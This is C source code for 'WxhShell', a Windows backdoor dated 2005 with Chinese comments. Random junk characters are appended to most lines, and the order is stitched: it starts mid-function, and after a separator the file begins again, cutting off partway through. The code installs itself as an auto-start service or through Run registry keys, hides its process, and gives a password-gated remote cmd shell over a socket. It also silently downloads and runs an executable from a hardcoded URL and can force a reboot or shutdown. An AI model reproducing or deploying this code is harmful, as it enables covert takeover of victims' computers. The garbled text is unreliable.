    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T7,tJk,(  
    if(Boot(SHUTDOWN)) j_{gk"2:d`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5pDxFs=v  
    else { 4uv }6&R  
    closesocket(wsh); &O'yhAP] j  
    ExitThread(0); iCH Z{<k  
    } #*~ (  
    break; .1}u0IbJ  
    } sC#Ixq'ls7  
  // 获取shell (d (whlF  
  case 's': { M,9WF)p)V  
    CmdShell(wsh); 0t9G $23  
    closesocket(wsh); Fm@GU  
    ExitThread(0); LR^b?.#>  
    break; IuTTMAt  
  } T}zi P  
  // 退出 [ -%oO  
  case 'x': { w#o<qrpHf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0 cQf_o  
    CloseIt(wsh); :9)>!+|'  
    break; l +#`  
    } 0}ZuF.  
  // 离开 41:Z8YL(  
  case 'q': { 8-m"]o3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eBP N[V  
    closesocket(wsh); o(a*Fk$  
    WSACleanup(); :ortyCB:H  
    exit(1); (cMrEuv  
    break; U9@q"v-  
        } wU=(_S,c  
  } J3$ihH.  
  } OLiYjYd  
SsaF><{5R  
  // 提示信息 gcz1*3)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j;'NJ~NZ$  
} ~v5tx  
  } 6L4B$'&KQZ  
R&-bA3w$  
  return; s0\X%U("  
} R)H@'X  
-?GYW81Q  
// shell模块句柄 R% ddB D\?  
int CmdShell(SOCKET sock) ($3QjH_@  
{ |GMK@Q'0:  
STARTUPINFO si; l@^RbF['  
ZeroMemory(&si,sizeof(si)); 2Gj&7A3b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VA]%i P,O-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;eWVc;H  
PROCESS_INFORMATION ProcessInfo; "c}b qoN  
char cmdline[]="cmd"; 9eV@v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =7jkW (Q  
  return 0; aC:rrS  
} D3jP hPy.  
UH)A n:9  
// 自身启动模式 Z(V 4"x7F  
int StartFromService(void) pIh@!C  
{ }wiq?dr  
typedef struct BKGwi2]Ry  
{ ){6;o& CC:  
  DWORD ExitStatus; T$+}Srb  
  DWORD PebBaseAddress; Z,!Rj7wZ  
  DWORD AffinityMask; 7`P(LQAr!  
  DWORD BasePriority; &)wQ|{P~k  
  ULONG UniqueProcessId; v7g-M  
  ULONG InheritedFromUniqueProcessId; C[[z3tn  
}   PROCESS_BASIC_INFORMATION; q-uYfXZ{j  
y(q1~73s  
PROCNTQSIP NtQueryInformationProcess; ]CTu |  
jx-W$@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K%Rx5 S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ' rXkTm1{  
0z,c6MjM+  
  HANDLE             hProcess; $bN%x/  
  PROCESS_BASIC_INFORMATION pbi; /  ]I]  
Z'u`)jR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B^KC~W  
  if(NULL == hInst ) return 0; <yIJ$nBx  
WJ mj|$D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8I@_X~R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (+9@j(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D,J's(wd  
=LuA [g  
  if (!NtQueryInformationProcess) return 0; $ccI(J`zux  
V{(ve#y7`{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~ Iv[  
  if(!hProcess) return 0; u[cbRn,W  
a1s=t_wT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qs~;?BH&  
T6{IuQjXs  
  CloseHandle(hProcess); i8 dv|oa  
[t0gXdU 6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZZ4W?);;  
if(hProcess==NULL) return 0; Z EG  
YRB,jwne  
HMODULE hMod; }J:~}?^%n  
char procName[255]; ZY {,//  
unsigned long cbNeeded; }mX;0qO  
qG~O] ($  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c1Dhx,]ad  
1z*]MYU  
  CloseHandle(hProcess); 1z{Azp MZ  
)82x)c<e  
if(strstr(procName,"services")) return 1; // 以服务启动 n|{x\@VeF  
|3vQmd !2}  
  return 0; // 注册表启动 * \f(E#wa  
} ;@Ls "+g  
.O~)zM x  
// 主模块 ][D<J0  
int StartWxhshell(LPSTR lpCmdLine) .vwOp*3\  
{ _e/v w:  
  SOCKET wsl; m,Os$>{Ok  
BOOL val=TRUE; Z!tt(y\  
  int port=0; W4T>@ b.  
  struct sockaddr_in door; (3 B; V  
]W]Vkkg]  
  if(wscfg.ws_autoins) Install(); sgFpZk  
E@t^IGD r  
port=atoi(lpCmdLine); +\Rp N  
MB:E/  
if(port<=0) port=wscfg.ws_port; M]eH JZ~v  
*p+%&z_<  
  WSADATA data; skr^m%W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ba|~B8rII[  
_G[5S-0 [  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ck-wMd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O'o`  
  door.sin_family = AF_INET; WCU[]A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <+C]^*j  
  door.sin_port = htons(port); k4s >sd3 5  
Gv3a<Knn4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T*O!r`.Ak  
closesocket(wsl); _ 4pBJOJQ6  
return 1; X+Xjf(  
} QD q2<  
6Kg lp\2  
  if(listen(wsl,2) == INVALID_SOCKET) { ;PGC9v%i  
closesocket(wsl); j2g#t  
return 1; }hEBX:-  
} V/<dHOfR\  
  Wxhshell(wsl); j[9xF<I  
  WSACleanup(); IZniRd;  
iiKFV>;t/  
return 0; [sbC6(z  
:,6dW?mun6  
} bvs0y7M='  
cKdy)T%;  
// 以NT服务方式启动 ~cQP4 kBD]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i$$\}2m{L  
{ >\[sNCkf  
DWORD   status = 0; qFt%{~a S  
  DWORD   specificError = 0xfffffff; }yC ve  
^pAqe8u_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kR9G;IZ8s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2r<UYB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K4snp u hC  
  serviceStatus.dwWin32ExitCode     = 0; GAEz :n  
  serviceStatus.dwServiceSpecificExitCode = 0; ~1i,R1_\Y  
  serviceStatus.dwCheckPoint       = 0; _~fO8_vr  
  serviceStatus.dwWaitHint       = 0; v`bX#\It  
)%f]`<o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?}bSQ)b  
  if (hServiceStatusHandle==0) return; WUMx:a0!  
&YDb/{|CIC  
status = GetLastError(); D9+a"2|3<  
  if (status!=NO_ERROR) No!P?  
{ y2o?a6`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {FteQ@(  
    serviceStatus.dwCheckPoint       = 0; tbl!{Qwx  
    serviceStatus.dwWaitHint       = 0; l&^9<th  
    serviceStatus.dwWin32ExitCode     = status; DTI+VY .W^  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,bKA]#(2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :$j!e#?=  
    return; %t`a-m  
  } hQ#'_%:  
k-Le)8+b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ) yRC$7I  
  serviceStatus.dwCheckPoint       = 0; &X9#{:l=  
  serviceStatus.dwWaitHint       = 0; V :*GG+4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?20y6c<  
} ;M>0,  
>5i1M^g(  
// 处理NT服务事件,比如:启动、停止 m%'9zL c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HkGzyDt  
{ Y6W3WPs(  
switch(fdwControl) rM/*_0[`d  
{ KSMe#Qnw  
case SERVICE_CONTROL_STOP: `LVXK|m+$  
  serviceStatus.dwWin32ExitCode = 0; ZZ)bTLu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #$e~ o}(r  
  serviceStatus.dwCheckPoint   = 0; *Iyv${  
  serviceStatus.dwWaitHint     = 0; Oh5(8.<y  
  { TJ ;4QL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k;#$Oxa>t=  
  } v$owG-_><  
  return; :DR G=-M  
case SERVICE_CONTROL_PAUSE: 2< qq[2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (3&@c!E  
  break; )p).}"   
case SERVICE_CONTROL_CONTINUE: sbQmPV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RT F9;]Ti  
  break; ;_%61ZI?M<  
case SERVICE_CONTROL_INTERROGATE: /px*v<Aw1  
  break; Yono8M;9*  
}; ~BaU2S@y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^kch]?  
} J wRdr8q  
6JSa:Q>,  
// 标准应用程序主函数 ph<Z/wlz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) na?jCq9C  
{ EX='\~Dw  
s[SzE6eQ`l  
// 获取操作系统版本 U^snb6\5  
OsIsNt=GetOsVer(); (uD(,3/Cw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); , .x5  
"/O0j/lm  
  // 从命令行安装 <u&uwD~A  
  if(strpbrk(lpCmdLine,"iI")) Install(); =5+M]y E<  
_C)u#]t  
  // 下载执行文件 LGgEq -  
if(wscfg.ws_downexe) { ?A8Uf=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !3-mPG< ]  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z=L' [6  
} 49@ pA-  
UFyGp>/06  
if(!OsIsNt) { _r+9S.z  
// 如果时win9x,隐藏进程并且设置为注册表启动 v}M, M&?  
HideProc(); aGr(djD  
StartWxhshell(lpCmdLine); yaa+j8s]  
} mRW(]OFIai  
else 3`5?Zgp  
  if(StartFromService()) >hRYsWbmg  
  // 以服务方式启动 uY5f mM9  
  StartServiceCtrlDispatcher(DispatchTable); q@8Rlc&  
else [t: =%&B  
  // 普通方式启动 6aX m9 J  
  StartWxhshell(lpCmdLine); \Nb6E&+  
ygd'Nh!@  
return 0; /?9e{,\s  
} $lU~3I)  
YM1tP'4j@  
nx $?wxIm  
H) m!)=\'  
=========================================== Z@t).$  
tJ&S&[}  
O8[dPm W  
Oa$ ew'  
V<\:iNXX{  
b0rC\^x  
" A:cc @ku  
?$ Uk[  
#include <stdio.h> IgptiZ7~!  
#include <string.h> cJ&l86/l1  
#include <windows.h> DL2e 9  
#include <winsock2.h> ceH7Rq:4W  
#include <winsvc.h> +S<2d.&~  
#include <urlmon.h> oHxaa>C>  
1mFc]1W  
#pragma comment (lib, "Ws2_32.lib") $gJMF(  
#pragma comment (lib, "urlmon.lib") Y xGIv8O]  
!MTm4Ls  
#define MAX_USER   100 // 最大客户端连接数 AZI%KM[  
#define BUF_SOCK   200 // sock buffer pn{.oXomf  
#define KEY_BUFF   255 // 输入 buffer $qP9EZ]JC  
s,]6Lri`\  
#define REBOOT     0   // 重启 nC_<pq^tr  
#define SHUTDOWN   1   // 关机  vF]?i  
,HUs MCXQ  
#define DEF_PORT   5000 // 监听端口 b3#c0GL  
:>F:G%(DK  
#define REG_LEN     16   // 注册表键长度 |b'tf:l  
#define SVC_LEN     80   // NT服务名长度 yXg783B|v  
yJ/m21f  
// 从dll定义API YV. *8'*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;}.jRmnJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !}l)okQH<#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ",#rI+ el  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wZE[we^Q"  
RLw=y{%p  
// wxhshell配置信息 !D7\$ g6g  
struct WSCFG { \X Nb9-  
  int ws_port;         // 监听端口 '/z.\S  
  char ws_passstr[REG_LEN]; // 口令 sN5 x\9U  
  int ws_autoins;       // 安装标记, 1=yes 0=no SKD!V6S  
  char ws_regname[REG_LEN]; // 注册表键名 o7DDL{iR/  
  char ws_svcname[REG_LEN]; // 服务名 e4khReF;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rZKv:x}{6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 No =f&GVg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '?_I-="Mr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AY [7yPP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qAivsYN*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .NQoqXR  
J4!Z,-  
}; m-, '  
Z !wDh_  
// default Wxhshell configuration ##}a0\x|  
struct WSCFG wscfg={DEF_PORT, >J.a, !  
    "xuhuanlingzhe", 9oKRu6]D-  
    1, l"CHI*  
    "Wxhshell", h&h]z[r R  
    "Wxhshell", iMk`t:!;#"  
            "WxhShell Service", k8Qv>z  
    "Wrsky Windows CmdShell Service", va~:oA  
    "Please Input Your Password: ", _~HGMC)  
  1, yw#P<8{/[  
  "http://www.wrsky.com/wxhshell.exe", "y_$!KY%  
  "Wxhshell.exe" h*_r=' E  
    }; o'>jO.|  
68;,hS*|6  
// 消息定义模块 x03GJy5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ] A<\ d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VF<{Qx*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B,e@v2jO|  
char *msg_ws_ext="\n\rExit."; j(va# f#  
char *msg_ws_end="\n\rQuit."; z<: 9,wtbP  
char *msg_ws_boot="\n\rReboot..."; SY>N-fW\H:  
char *msg_ws_poff="\n\rShutdown..."; `S;pn+5  
char *msg_ws_down="\n\rSave to ";  4>0xS -  
57K1e~^  
char *msg_ws_err="\n\rErr!"; 'G@Npp)&^  
char *msg_ws_ok="\n\rOK!"; h,TDNR<1L  
|PI.xl:ch  
char ExeFile[MAX_PATH]; +:/`&LOS-  
int nUser = 0; %+o]1R  
HANDLE handles[MAX_USER]; ~qFi0<-M  
int OsIsNt; pC_2_,6$  
5C#&vYnq  
SERVICE_STATUS       serviceStatus; ]2h~Db=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H# 2'\0u  
6CY_8/:zL  
// 函数声明 l]oGhM;  
int Install(void); z#D@mn5\ a  
int Uninstall(void); <9\_b 6  
int DownloadFile(char *sURL, SOCKET wsh); zh*NRN  
int Boot(int flag); FZj tQ{M  
void HideProc(void); p1J%=  
int GetOsVer(void); >'Y]C\  
int Wxhshell(SOCKET wsl); #<yR:3  
void TalkWithClient(void *cs); m feyR  
int CmdShell(SOCKET sock); i+21tG$  
int StartFromService(void); _4[kg)#+  
int StartWxhshell(LPSTR lpCmdLine); bL swq  
34s:|w6y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vlEd=H,LT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Vu~mi%UH  
AL H^tV?  
// 数据结构和表定义 { F. Ihw  
SERVICE_TABLE_ENTRY DispatchTable[] = .'__ [|-{;  
{ \W/c C'  
{wscfg.ws_svcname, NTServiceMain}, >jN)9}3>-#  
{NULL, NULL} Vwm\a]s  
}; dXrv  
M ;\K+,  
// 自我安装 *Z)`:Gae  
int Install(void) _F,@mQ$!  
{ 7F)HAbIS  
  char svExeFile[MAX_PATH]; h %MPppCEa  
  HKEY key; ?>4^e:  
  strcpy(svExeFile,ExeFile); 0fi+tc 30  
!. q*bY  
// 如果是win9x系统,修改注册表设为自启动 ZiVTc/b  
if(!OsIsNt) { Ddt(*z /  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f.rHX<%q9B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OM}:1He  
  RegCloseKey(key); M#F;eK2pf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h7gH4L!'u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;M@ /AAZ  
  RegCloseKey(key); 5:^dyF&sm{  
  return 0; B0Xn9Tvk  
    } Q'$aFl'NR  
  } zzq/%jki  
} q SCt= eQ  
else { JK[7&C-O  
t?YGGu^  
// 如果是NT以上系统,安装为系统服务 a)y8MGx?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /oe="/y6  
if (schSCManager!=0) b*?="%eE(  
{ sNS! /  
  SC_HANDLE schService = CreateService i]9SCO  
  ( Hr96sN.R   
  schSCManager,  "}Ya.  
  wscfg.ws_svcname, h r*KDT^!  
  wscfg.ws_svcdisp, 7th&C,c&  
  SERVICE_ALL_ACCESS, If]g6 B.=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lFI"U^xC  
  SERVICE_AUTO_START, W!GgtQw{F  
  SERVICE_ERROR_NORMAL, 3&x_%R  
  svExeFile, iFS ?nZ~.  
  NULL, 0r:8ni%cL  
  NULL, ]<++w;#+x  
  NULL, . +.Y`0  
  NULL, N:"E%:wSbi  
  NULL qC`"<R=GX  
  ); 3ywBq9FGhp  
  if (schService!=0) E hd*  
  { b$.N8W%  
  CloseServiceHandle(schService); RFQa9Rxk  
  CloseServiceHandle(schSCManager); HZfcLDrO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >q[Elz=dI  
  strcat(svExeFile,wscfg.ws_svcname); P%%Cd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :R<,J=+$u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <<4G GO  
  RegCloseKey(key); 8c]\4iau  
  return 0; 2{@: :JZ  
    } "qQU ^FW  
  } aViJ?*  
  CloseServiceHandle(schSCManager); h1JG^w$ 5  
} r(i<H%"Z  
} :^J(%zy  
'<4OA!,^)  
return 1; O{SU,"!y  
} 1 *;?uC\  
^N0hc!$  
// 自我卸载 WpSdukXY{  
int Uninstall(void) ]!h%Jlu  
{ 3lA<{m;V  
  HKEY key; k{"~G#GwP  
ZN G.W0{p  
if(!OsIsNt) { RQ}x7< /{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;) (qRZd6  
  RegDeleteValue(key,wscfg.ws_regname); Qzb8*;4?FF  
  RegCloseKey(key); &$vDC M4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ZwsTV]x  
  RegDeleteValue(key,wscfg.ws_regname); y(6&90cr  
  RegCloseKey(key); /Hx%gKU  
  return 0; M*aE)D '  
  } 9OXrz}8C  
} #r:J,D6*  
} 1cOp"!  
else { Dzc 4J66  
7d'4"c;*;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }6m5MH$7q  
if (schSCManager!=0) P#rwYPww\  
{ 8m-jU 5u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^vsOlA(4  
  if (schService!=0) o.}^6.h"  
  { U{eC^yjt"o  
  if(DeleteService(schService)!=0) { j!:U*}f  
  CloseServiceHandle(schService); LF*3Iw|v  
  CloseServiceHandle(schSCManager); fIWQ+E  
  return 0; ~iF*+\  
  } q`9~F4\  
  CloseServiceHandle(schService); sOU_j4M{  
  } 4ol=YGCI_  
  CloseServiceHandle(schSCManager); >G/>:wwSP.  
} MH{vFA4:,  
} 3=sA]j-+(  
 6~$ <  
return 1; I%{^i d@  
} YfF&: "-NU  
Z0`?  
// 从指定url下载文件 S,Zjol%p  
int DownloadFile(char *sURL, SOCKET wsh) {vA;#6B|  
{ *M- .Vor?R  
  HRESULT hr; ] p+t>'s  
char seps[]= "/"; W+Gu\=s%O  
char *token; G9Azd^3  
char *file; Nk}Hvg*(  
char myURL[MAX_PATH]; ;$[o7Qm5r  
char myFILE[MAX_PATH]; VJHHC.Kz  
E3NYUHfZ  
strcpy(myURL,sURL); Wu.od|t0  
  token=strtok(myURL,seps); [>Q{70 c[  
  while(token!=NULL) v`beql  
  { jnH44  
    file=token; ecf<(Vl}  
  token=strtok(NULL,seps); >[ 72]<6  
  } 3^1)W!n/  
SL@Vk(  
GetCurrentDirectory(MAX_PATH,myFILE); W,AIE 6F  
strcat(myFILE, "\\"); zL)S,  
strcat(myFILE, file); 6@bGh|   
  send(wsh,myFILE,strlen(myFILE),0); CAc nH  
send(wsh,"...",3,0); n (cSfT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  \2eYw.I=  
  if(hr==S_OK) }})4S;j  
return 0; <|Z0|sel  
else ,EwJg69  
return 1; -cq ~\m^6  
Of([z!'Gc  
} Zd~s5  
l*%voKZG  
// 系统电源模块 4Z]^v4vb  
int Boot(int flag) '*-X 3p  
{ =bv8W < #  
  HANDLE hToken; '[\%P2c)Q  
  TOKEN_PRIVILEGES tkp; *p.ELI1IC  
:*c@6;2@  
  if(OsIsNt) { o#0NIn"GS/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5\QNGRu"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -@^SiI:C  
    tkp.PrivilegeCount = 1; R+!2 j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fjp>FVv3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {"{J*QH  
if(flag==REBOOT) { )#*c|.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H~Q UN  
  return 0; IFpmf0;^  
} 9h*$P:S;1v  
else { z:< (b   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?]h+En5z8  
  return 0; E8NIH!dI  
} G*J(4~Yw}  
  } QW6k!ms$  
  else { jN5Sc0|b  
if(flag==REBOOT) { 3t%uUkXl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o2Pj|u*X  
  return 0; *jA%.F  
} }$ AC0  
else { @Cqg 2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZTt% 7K"L  
  return 0; $RA"NIZ:!  
} q &jW{  
} 8|7Tk[X1j  
6{+~B2Ef  
return 1; =797;|B H  
} ;?n*w+6<  
$T3/*xN  
// win9x进程隐藏模块 5-]%D(y  
void HideProc(void) *+@/:$|U  
{ 7*[>e7:A  
vO4 &ZQ>6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kO2im+y  
  if ( hKernel != NULL ) WQ"ZQ  
  { #NL1N_B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EidIi"sr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DlIfr6F  
    FreeLibrary(hKernel); Pu axS  
  } T<!`~#kM  
Y`( I};MO  
return; dHOz;4_  
} Ii[rM/sG  
e,1Jxz4QH  
// 获取操作系统版本 GSpS8wWD }  
int GetOsVer(void) v8pUt\m"  
{ jl:O~UL6i  
  OSVERSIONINFO winfo; /9GqEQsfM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'u696ED4  
  GetVersionEx(&winfo); +m>Kb edl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GD< Afni  
  return 1; $L`7(0U-  
  else bWMM[pnL  
  return 0; ao7|8[  
} ~r=TVHjqi  
""WZpaw  
// 客户端句柄模块 a`|/*{  
int Wxhshell(SOCKET wsl) @)}Vk  
{ *O 0*  
  SOCKET wsh; 3:=XU9p)x  
  struct sockaddr_in client; r0S7e3xb  
  DWORD myID; d3n TJX  
d[S C1J  
  while(nUser<MAX_USER) q2/Vt0aYx  
{ t-E'foYfr`  
  int nSize=sizeof(client); q5OW1%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yY&(?6\{<<  
  if(wsh==INVALID_SOCKET) return 1; 5h20\b?=$  
h+*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Rj E,Wn  
if(handles[nUser]==0) m9PcDhv  
  closesocket(wsh); S2<(n,"  
else ?W(wtp,o  
  nUser++; Y[x ^59  
  } sO(Kpo9jq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UiYA#m  
::M/s#-@  
  return 0; YJ75dXc&&  
} z%;\q$  
uF^+}Y ZT  
// 关闭 socket gE$dz#t.  
void CloseIt(SOCKET wsh) slPFDBx  
{ qc`_&!*D  
closesocket(wsh); x b_C1n  
nUser--; r/{VL3}F_e  
ExitThread(0); 2nEj X\BY  
} PD/~@OsxU  
6,c,i;J_  
// 客户端请求句柄 ]1Q\wsB  
void TalkWithClient(void *cs) y'zEaL&SI@  
{ H}}t )H  
4ErDGYg}  
  SOCKET wsh=(SOCKET)cs; jf$t  
  char pwd[SVC_LEN]; -6H)GK14b  
  char cmd[KEY_BUFF]; :V_$?S  
char chr[1]; c9'#G>&h~^  
int i,j; /Fv1Z=:r  
zBoU;d%p>  
  while (nUser < MAX_USER) { }~ +  
JT:9"lmJz,  
if(wscfg.ws_passstr) { Az)P&*2:'`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;N/c5+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YobIbpo  
  //ZeroMemory(pwd,KEY_BUFF); 5jsnE )  
      i=0; Gu%`__   
  while(i<SVC_LEN) { =ecv;uu2  
_zpn+XVdQ  
  // 设置超时 IC{>q3  
  fd_set FdRead; I|`K;a  
  struct timeval TimeOut; [6-l6W  
  FD_ZERO(&FdRead); AX1\L |tJS  
  FD_SET(wsh,&FdRead); fI BLJ53  
  TimeOut.tv_sec=8; cJhf{{_oR  
  TimeOut.tv_usec=0; lv\2vRYw-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !IGVN:E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (Bmjz*%M  
)v|a:'%K_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ne#nSx5,  
  pwd=chr[0]; w1GCjD*y  
  if(chr[0]==0xd || chr[0]==0xa) { qrdA?V V  
  pwd=0; o?%x!m>  
  break; xpS#l"dr  
  } c/hml4  
  i++; .<j8>1  
    } opIcSm&  
pw$I~3OFd  
  // 如果是非法用户,关闭 socket 'l;?P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |YlUt~H>  
} $[>wJXj3R  
CId`6W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ++kiCoC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,)QmQ ^/  
PDir?'  
while(1) { / _cOg? o  
 Et- .[  
  ZeroMemory(cmd,KEY_BUFF); HQE#O4  
,Tr12#D:  
      // 自动支持客户端 telnet标准   n;q7? KW8  
  j=0; o%|1D'f^  
  while(j<KEY_BUFF) { K]7@%cS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |C(72t?K  
  cmd[j]=chr[0]; "qDEI}  
  if(chr[0]==0xa || chr[0]==0xd) { .&[nS<~`  
  cmd[j]=0; <<A@69"4n  
  break; JN8k x;@  
  } s0`uSQ2X  
  j++; IBuuZ.=j2h  
    } .*zQ\P  
|FcG$[  
  // 下载文件 i/$lO de  
  if(strstr(cmd,"http://")) { U ^,ld`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PD$'xY|1=  
  if(DownloadFile(cmd,wsh)) MDB}G '  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W5x]bl#  
  else UGN. ]#"#  
